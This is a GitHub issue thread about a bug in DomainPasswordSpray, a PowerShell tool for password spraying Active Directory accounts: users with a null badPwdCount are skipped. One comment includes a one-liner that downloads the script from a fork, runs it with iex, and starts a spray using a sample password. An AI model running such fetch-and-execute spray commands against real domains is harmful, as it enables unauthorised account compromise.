We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
DomainPasswordSpray/DomainPasswordSpray.ps1
Line 451 in 45d2524
This causes users that have badPwdCount = $null to be excluded from the password spray. Is there a reason for this or just a mistake?
Value could for example be $null if:
The last one seems a bit dangerous to ignore.
Fix would be to add else statement, where $attemptsuntillockout is still checked but $observation_window is ignored.
The text was updated successfully, but these errors were encountered:
Addressing issue dafthack#27 badPwdCount = $null
cb9235b
`PS C:\Windows\System32\WindowsPowerShell\v1.0> iex ((New-Object System.Net.WebClient).DownloadString('https://raw.github usercontent.com/bluecurby/DomainPasswordSpray/master/DomainPasswordSpray.ps1')); Invoke-DomainPasswordSpray -Password Zo mer2023! iex : At line:467 char:40 if($badcount -eq "null") ~ Missing statement block after if ( condition ). At line:1 char:1 iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercon ...
CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException FullyQualifiedErrorId : MissingStatementBlock,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Sorry, something went wrong.
ee8a56e
No branches or pull requests
DomainPasswordSpray/DomainPasswordSpray.ps1
Line 451 in 45d2524
This causes users that have badPwdCount = $null to be excluded from the password spray.
Is there a reason for this or just a mistake?
Value could for example be $null if:
The last one seems a bit dangerous to ignore.
Fix would be to add else statement, where $attemptsuntillockout is still checked but $observation_window is ignored.
The text was updated successfully, but these errors were encountered: